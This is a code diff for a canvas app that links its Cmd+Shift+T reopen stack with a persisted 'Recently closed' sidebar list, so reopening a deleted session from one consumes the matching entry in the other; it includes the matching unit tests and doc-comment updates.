+ // The two ledgers must agree on which node minted which persisted entry, so ⇧⌘T's restore
+ // can drop the persisted twin and the sidebar's reopen can drop this snapshot — see
+ // `ReopenNodeSnapshot.closedSessionId`.
+ const snapshots = nodesRef.current
+ .filter((n) => set.has(n.id))
+ .map((n) => {
+ const snap = snapshotNode(n, nodesRef.current)
+ return snap ? { ...snap, closedSessionId: closedSessionIdByNode.get(n.id) } : snap
+ })
+ .filter((s): s is NonNullable<typeof s> => s !== null)
+ if (snapshots.length) {
+ useReopenHistory.getState().push({
+ kind: 'nodes',
+ projectId: useProjects.getState().activeProjectId ?? '',
+ closedAt: deletedAt,
+ nodes: snapshots
+ })
+ }
}
nodesRef.current.forEach((n) => {
if (!set.has(n.id)) return
@@ -6258,6 +6273,20 @@ export function Canvas() {
const entry = useReopenHistory.getState().popNext()
if (!entry) return false
+ // The persisted twin of this batch (the sidebar's "Recently closed" rows the SAME delete
+ // recorded) must be consumed too — whether this entry ends up restored or skipped as stale,
+ // the ⇧⌘T stack is done with it either way, and leaving the sidebar row behind would let a
+ // later click there restore a duplicate. `writeDisk` runs unconditionally because
+ // `entry.projectId` may not be the active project, whose autosave debounce wouldn't cover it.
+ if (entry.kind === 'nodes') {
+ for (const n of entry.nodes) {
+ if (n.closedSessionId) {
+ useProjects.getState().discardClosedSession(entry.projectId, n.closedSessionId)
+ }
+ }
+ void writeDisk()
+ }
+
const { projects, activeProjectId } = useProjects.getState()
const project = projects.find((p) => p.id === entry.projectId)
const accounts = useSettings.getState().settings.claudeAccounts
@@ -6278,7 +6307,7 @@ export function Canvas() {
if (plan.action === 'skip') continue
return executeReopenPlan(plan)
}
- }, [executeReopenPlan])
+ }, [executeReopenPlan, writeDisk])
/** Reopens ONE entry from a project's persisted `closedSessions` (the sidebar's "Recently
* closed" section) — the browsable counterpart to `Cmd+Shift+T`. Consumes the entry
@@ -6293,6 +6322,9 @@ export function Canvas() {
(projectId: string, entryId: string): boolean => {
const consumed = useProjects.getState().consumeClosedSession(projectId, entryId)
if (!consumed) return false
+ // The ⇧⌘T-stack twin of this entry (if the SAME delete also pushed one) must go too, or a
+ // later Cmd+Shift+T could restore this same closed session a second time.
+ useReopenHistory.getState().dropByClosedSessionId(projectId, entryId)
void writeDisk()
const { projects, activeProjectId } = useProjects.getState()
diff --git a/src/renderer/canvas/canvas-wiring.test.tsx b/src/renderer/canvas/canvas-wiring.test.tsx
index 455b9b474..ec8972bb1 100644
--- a/src/renderer/canvas/canvas-wiring.test.tsx
+++ b/src/renderer/canvas/canvas-wiring.test.tsx
@@ -169,11 +169,14 @@ describe('breadcrumb wiring the CLAUDE.md bullet calls load-bearing', () => {
})
describe('deleteNodes also records persisted closed-session history', () => {
- it('builds entries from the full pre-delete tree and the same "now"/ids used for reopenHistory', () => {
+ it('builds entries from the full pre-delete tree and the same "now" used for reopenHistory', () => {
expect(CANVAS_SRC).toContain('const deletedAt = Date.now()')
expect(CANVAS_SRC).toContain(
- 'buildClosedSessionEntries(set, nodesRef.current, deletedAt, uuid)'
+ 'buildClosedSessionEntries(set, nodesRef.current, deletedAt, (nodeId) => {'
)
+ // The reopenHistory push reuses the SAME `deletedAt`, not a second `Date.now()` call — the
+ // two ledgers must agree on when this batch closed, not just approximately.
+ expect(CANVAS_SRC).toContain('closedAt: deletedAt')
})
it('mints entry ids with lib/uuid, never crypto.randomUUID', () => {
@@ -186,6 +189,15 @@ describe('deleteNodes also records persisted closed-session history', () => {
expect(CANVAS_SRC).toContain("import { uuid } from '../lib/uuid'")
})
+ it('correlates each minted entry id back to its source node, so the two ledgers can consume each other', () => {
+ // The bug this pins: correlating the ⇧⌘T snapshot and its persisted twin by ARRAY POSITION
+ // (two independently-filtered lists happening to line up) instead of by node id would silently
+ // misalign the moment either filter changed.
+ expect(CANVAS_SRC).toContain('const closedSessionIdByNode = new Map<string, string>()')
+ expect(CANVAS_SRC).toContain('closedSessionIdByNode.set(nodeId, id)')
+ expect(CANVAS_SRC).toContain('closedSessionId: closedSessionIdByNode.get(n.id)')
+ })
+
it('records into the store only when entries were actually built', () => {
expect(CANVAS_SRC).toContain('if (closedEntries.length) {')
expect(CANVAS_SRC).toContain('.recordClosedSessions(')
@@ -222,23 +234,39 @@ describe('reopening a persisted closed-session entry shares reopenLastClosed\'s
it('reopenLastClosedCommand delegates to it instead of inlining the switch', () => {
const fnStart = CANVAS_SRC.indexOf('const reopenLastClosedCommand = useCallback(')
- const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 950)
+ const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 1700)
expect(fnBody).toContain('return executeReopenPlan(plan)')
expect(fnBody).not.toContain('switch (plan.action)')
})
+ it('reopenLastClosedCommand discards the persisted twin of a popped node-batch entry', () => {
+ // The bug this pins: restoring via ⇧⌘T without consuming the matching sidebar row would let a
+ // later sidebar click restore the same closed session a second time.
+ const fnStart = CANVAS_SRC.indexOf('const reopenLastClosedCommand = useCallback(')
+ const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 1700)
+ expect(fnBody).toContain("if (entry.kind === 'nodes') {")
+ expect(fnBody).toContain('.discardClosedSession(entry.projectId, n.closedSessionId)')
+ expect(fnBody).toContain('void writeDisk()')
+ })
+
it('consumes the entry before doing anything else, so a stale double-click cannot reopen it twice', () => {
const fnStart = CANVAS_SRC.indexOf('const reopenClosedSessionCommand = useCallback(')
expect(fnStart).toBeGreaterThan(-1)
- const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 260)
+ const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 520)
expect(fnBody).toContain('.consumeClosedSession(projectId, entryId)')
expect(fnBody).toContain('if (!consumed) return false')
expect(fnBody).toContain('void writeDisk()')
})
+ it('drops the matching ⇧⌘T-stack entry so the two histories cannot both reopen the same delete', () => {
+ const fnStart = CANVAS_SRC.indexOf('const reopenClosedSessionCommand = useCallback(')
+ const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 520)
+ expect(fnBody).toContain('useReopenHistory.getState().dropByClosedSessionId(projectId, entryId)')
+ })
+
it('wraps the consumed entry as a synthetic ReopenEntry and reuses the pure planReopen', () => {
const fnStart = CANVAS_SRC.indexOf('const reopenClosedSessionCommand = useCallback(')
- const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 1200)
+ const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 1500)
expect(fnBody).toContain("kind: 'nodes'")
expect(fnBody).toContain('nodes: [stateToReopenSnapshot(consumed)]')
expect(fnBody).toContain('const plan = planReopen(')
@@ -248,7 +276,7 @@ describe('reopening a persisted closed-session entry shares reopenLastClosed\'s
it('resolves permission mode and account against the TARGET project, same as reopenLastClosedCommand', () => {
const fnStart = CANVAS_SRC.indexOf('const reopenClosedSessionCommand = useCallback(')
- const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 1200)
+ const fnBody = CANVAS_SRC.slice(fnStart, fnStart + 1500)
expect(fnBody).toContain('resolveAccountId: (id) => resolveNewNodeAccount(id, project, accounts)')
expect(fnBody).toContain('permissionModeFor: (agentId) => projectPermissionMode(project, agentId)')
})
diff --git a/src/renderer/lib/closedHistory.test.ts b/src/renderer/lib/closedHistory.test.ts
index 391576c9f..64bf6e8c5 100644
--- a/src/renderer/lib/closedHistory.test.ts
+++ b/src/renderer/lib/closedHistory.test.ts
@@ -13,7 +13,7 @@ const node = (over: Partial<CanvasNode> = {}): CanvasNode =>
describe('buildClosedSessionEntries', () => {
it('builds one entry per deleted, restorable node', () => {
const nodes = [node({ id: 'n1' }), node({ id: 'n2' })]
- const entries = buildClosedSessionEntries(new Set(['n1']), nodes, 999, () => 'fresh-id')
+ const entries = buildClosedSessionEntries(new Set(['n1']), nodes, 999, (_nodeId) => 'fresh-id')
expect(entries).toHaveLength(1)
expect(entries[0]).toMatchObject({ id: 'fresh-id', closedAt: 999 })
expect(entries[0].node.id).toBe('n1')
@@ -33,6 +33,16 @@ describe('buildClosedSessionEntries', () => {
const entries = buildClosedSessionEntries(new Set(['n2']), nodes, 1, () => 'x')
expect(entries.map((e) => e.node.id)).toEqual(['n2'])
})
+
+ it('hands makeId the SOURCE node id, not called bare — the correlation deleteNodes relies on', () => {
+ const nodes = [node({ id: 'n1' }), node({ id: 'n2' })]
+ const seen: string[] = []
+ buildClosedSessionEntries(new Set(['n1', 'n2']), nodes, 1, (nodeId) => {
+ seen.push(nodeId)
+ return `id-for-${nodeId}`
+ })
+ expect(seen).toEqual(['n1', 'n2'])
+ })
})
describe('stateToReopenSnapshot', () => {
diff --git a/src/renderer/lib/closedHistory.ts b/src/renderer/lib/closedHistory.ts
index 23f645258..eb9db058b 100644
--- a/src/renderer/lib/closedHistory.ts
+++ b/src/renderer/lib/closedHistory.ts
@@ -9,20 +9,27 @@ import { absolutePosition, type FocusableNode } from './nodeFocus'
* (group/subagent/loop/account-login nodes are excluded from both). `allNodes` must be the FULL
* live tree from BEFORE the deletion, so parent-chain absolute positions are still resolvable.
* `now`/`makeId` are injected so this stays a pure, deterministically testable function; call
- * sites pass `Date.now()` and `uuid` (`lib/uuid.ts`) — NEVER `crypto.randomUUID`, which is absent
- * outside a secure context and so throws in the Server Edition served over plain HTTP on a LAN.
+ * sites pass `Date.now()` and a `uuid` (`lib/uuid.ts`)-backed minter — NEVER `crypto.randomUUID`,
+ * which is absent outside a secure context and so throws in the Server Edition served over plain
+ * HTTP on a LAN.
+ *
+ * `makeId` is handed the SOURCE node's id (not called bare) so the caller (`deleteNodes`) can
+ * record which minted entry id belongs to which node — that correlation is what lets a ⇧⌘T
+ * snapshot and its persisted twin consume each other on reopen (see
+ * `ReopenNodeSnapshot.closedSessionId`). Correlating by node id rather than by array position
+ * keeps the two histories' independent filtering passes from ever silently misaligning.
*/
export function buildClosedSessionEntries(
deletedIds: ReadonlySet<string>,
allNodes: readonly CanvasNode[],
now: number,
- makeId: () => string
+ makeId: (nodeId: string) => string
): ClosedSessionEntry[] {
return allNodes
.filter((n) => deletedIds.has(n.id))
.filter((n) => snapshotNode(n, allNodes as readonly FocusableNode[]) !== null)
.map((n) => ({
- id: makeId(),
+ id: makeId(n.id),
closedAt: now,
node: flowToNodeStates([n])[0],
absolutePosition: absolutePosition(
diff --git a/src/renderer/lib/reopenNode.ts b/src/renderer/lib/reopenNode.ts
index dd01604c0..dfbb05980 100644
--- a/src/renderer/lib/reopenNode.ts
+++ b/src/renderer/lib/reopenNode.ts
@@ -29,6 +29,16 @@ export interface ReopenNodeSnapshot {
extent?: 'parent'
size?: { width: number; height: number }
data: NodeData
+ /**
+ * The id of the matching entry this same delete also recorded in the persisted
+ * `Project.closedSessions` history, when one was recorded — set only by `deleteNodes` (Canvas),
+ * never by `stateToReopenSnapshot`'s reverse direction. Lets the two ledgers consume each
+ * other: reopening this ⇧⌘T snapshot drops the persisted twin (`reopenLastClosedCommand`), and
+ * reopening the persisted twin from the sidebar drops this snapshot out of the ⇧⌘T stack
+ * (`reopenClosedSessionCommand` → `useReopenHistory.dropByClosedSessionId`) — so a single delete
+ * can never be reopened twice into two duplicate nodes.
+ */
+ closedSessionId?: string
}
type SnapshotSource = {
diff --git a/src/renderer/state/reopenHistory.test.ts b/src/renderer/state/reopenHistory.test.ts
index b4f68c938..88468f891 100644
--- a/src/renderer/state/reopenHistory.test.ts
+++ b/src/renderer/state/reopenHistory.test.ts
@@ -1,8 +1,20 @@
import { describe, it, expect } from 'vitest'
-import { pushEntry, popEntry, HISTORY_CAP, type ReopenEntry } from './reopenHistory'
+import { pushEntry, popEntry, dropClosedSessionRef, HISTORY_CAP, type ReopenEntry } from './reopenHistory'
+import type { ReopenNodeSnapshot } from '@renderer/lib/reopenNode'
const proj = (id: string, closedAt: number): ReopenEntry => ({ kind: 'project', projectId: id, closedAt })
+const snap = (over: Partial<ReopenNodeSnapshot> = {}): ReopenNodeSnapshot =>
+ ({
+ type: 'terminal', position: { x: 0, y: 0 }, absolutePosition: { x: 0, y: 0 },
+ data: { title: 't', color: '#fff', group: null },
+ ...over
+ }) as ReopenNodeSnapshot
+
+const nodesEntry = (projectId: string, snapshots: ReopenNodeSnapshot[]): ReopenEntry => ({
+ kind: 'nodes', projectId, closedAt: 1, nodes: snapshots
+})
+
describe('pushEntry', () => {
it('appends to the end (most recent last)', () => {
const out = pushEntry([proj('a', 1)], proj('b', 2), 10)
@@ -34,3 +46,32 @@ describe('popEntry', () => {
expect(rest).toEqual([])
})
})
+
+describe('dropClosedSessionRef', () => {
+ it('drops the one matching snapshot, keeping the rest of the batch', () => {
+ const stack = [
+ nodesEntry('p1', [
+ snap({ closedSessionId: 'e1' }),
+ snap({ closedSessionId: 'e2' })
+ ])
+ ]
+ const out = dropClosedSessionRef(stack, 'p1', 'e1')
+ expect(out).toHaveLength(1)
+ expect((out[0] as { nodes: ReopenNodeSnapshot[] }).nodes.map((n) => n.closedSessionId)).toEqual(['e2'])
+ })
+
+ it('drops the whole entry once its last matching snapshot is removed — an empty batch is a dead stack slot', () => {
+ const stack = [nodesEntry('p1', [snap({ closedSessionId: 'e1' })])]
+ expect(dropClosedSessionRef(stack, 'p1', 'e1')).toEqual([])
+ })
+
+ it('only matches the same projectId — a foreign project with the same entry id is untouched', () => {
+ const stack = [nodesEntry('other', [snap({ closedSessionId: 'e1' })])]
+ expect(dropClosedSessionRef(stack, 'p1', 'e1')).toEqual(stack)
+ })
+
+ it('leaves kind:"project" entries and snapshots with no closedSessionId untouched', () => {
+ const stack = [proj('p1', 1), nodesEntry('p1', [snap()])]
+ expect(dropClosedSessionRef(stack, 'p1', 'e1')).toEqual(stack)
+ })
+})
diff --git a/src/renderer/state/reopenHistory.ts b/src/renderer/state/reopenHistory.ts
index 367902b23..d3846fe7d 100644
--- a/src/renderer/state/reopenHistory.ts
+++ b/src/renderer/state/reopenHistory.ts
@@ -22,12 +22,39 @@ export function popEntry(stack: ReopenEntry[]): { entry: ReopenEntry | undefined
return { entry: stack[stack.length - 1], rest: stack.slice(0, -1) }
}
+/**
+ * Drops every snapshot tagged with `entryId` (`ReopenNodeSnapshot.closedSessionId`) out of
+ * `projectId`'s `kind: 'nodes'` entries, then drops any entry left with no nodes at all — an
+ * empty batch would restore nothing if popped, so it must not linger as a dead stack slot.
+ * `kind: 'project'` entries carry no snapshots and pass through untouched.
+ *
+ * This is the ⇧⌘T-stack twin of `useProjects.discardClosedSession`: the sidebar's persisted
+ * "Recently closed" list and this in-memory stack both get a row for the SAME delete, and
+ * reopening one must consume the other's matching entry too — otherwise a single delete can be
+ * reopened twice, minting two duplicate nodes from one closed session.
+ */
+export function dropClosedSessionRef(
+ stack: ReopenEntry[],
+ projectId: string,
+ entryId: string
+): ReopenEntry[] {
+ return stack
+ .map((e) =>
+ e.kind === 'nodes' && e.projectId === projectId
+ ? { ...e, nodes: e.nodes.filter((n) => n.closedSessionId !== entryId) }
+ : e
+ )
+ .filter((e) => e.kind !== 'nodes' || e.nodes.length > 0)
+}
+
interface ReopenHistoryState {
stack: ReopenEntry[]
push: (entry: ReopenEntry) => void
/** Pops and returns the most recent entry. Callers that find it stale (project already
* reopened another way, or permanently deleted) call this again to keep walking back. */
popNext: () => ReopenEntry | undefined
+ /** See `dropClosedSessionRef`. */
+ dropByClosedSessionId: (projectId: string, entryId: string) => void
}
export const useReopenHistory = create<ReopenHistoryState>((set, get) => ({
@@ -37,5 +64,7 @@ export const useReopenHistory = create<ReopenHistoryState>((set, get) => ({
const { entry, rest } = popEntry(get().stack)
if (entry) set({ stack: rest })
return entry
- }
+ },
+ dropByClosedSessionId: (projectId, entryId) =>
+ set((s) => ({ stack: dropClosedSessionRef(s.stack, projectId, entryId) }))
}))
diff --git a/src/shared/types.ts b/src/shared/types.ts
index b13d3be71..9b128d0fa 100644
--- a/src/shared/types.ts
+++ b/src/shared/types.ts
@@ -428,10 +428,11 @@ export interface ClosedSessionEntry {
* How many closed-session entries one project keeps (newest-first; the rest are dropped).
*
* ONE definition, because the cap must hold at every point an entry list is produced OR admitted:
- * the store mutator that records a delete (`recordClosedSessions`), and BOTH sides of the shared
- * file (`projectToFile`/`fileToProject`). Enforcing it only where WE append is not enforcement at
- * all — `closedSessions` is git-shared, so an inflated list arrives from outside (a teammate's
- * file, a hand edit) and would render unbounded rows and be written back in full.
+ * the store mutator that records a delete (`recordClosedSessions`), and every load path that
+ * admits `IndexEntryV3.closedSessions` (a ref'd project's machine-local history) or an inline
+ * project's embedded one. Enforcing it only where WE append is not enforcement at all —
+ * workspace.json is hand-editable input too, so an inflated list can arrive from outside (a
+ * pre-cap build's file, a hand edit) and would render unbounded rows and be written back in full.
*/
export const CLOSED_SESSIONS_CAP = 20
@@ -727,9 +728,12 @@ export interface Project {
closedAt?: number
/**
* Sessions (terminal/agent/sticky/…) deleted from this project, most-recent-first, capped at
- * 20. Git-shared like `nodes`/`kanban` — reopening a teammate's deleted session is intentional.
- * A fresh id per entry; recreating a node from one always mints a new node id/session, never
- * reuses the original (see `recreateNodeFromSnapshot`).
+ * 20. MACHINE-LOCAL, same rule as `closedAt`/`breadcrumbs` — see `IndexEntryV3.closedSessions`,
+ * never written into the shared project file (a delete's full node-state blob — title, cwd,
+ * position — would otherwise churn a committed, teammate-visible document on every one). Whose
+ * trash can holds what is a per-machine fact, not shared content. A fresh id per entry;
+ * recreating a node from one always mints a new node id/session, never reuses the original
+ * (see `recreateNodeFromSnapshot`).
*/
closedSessions?: ClosedSessionEntry[]
/**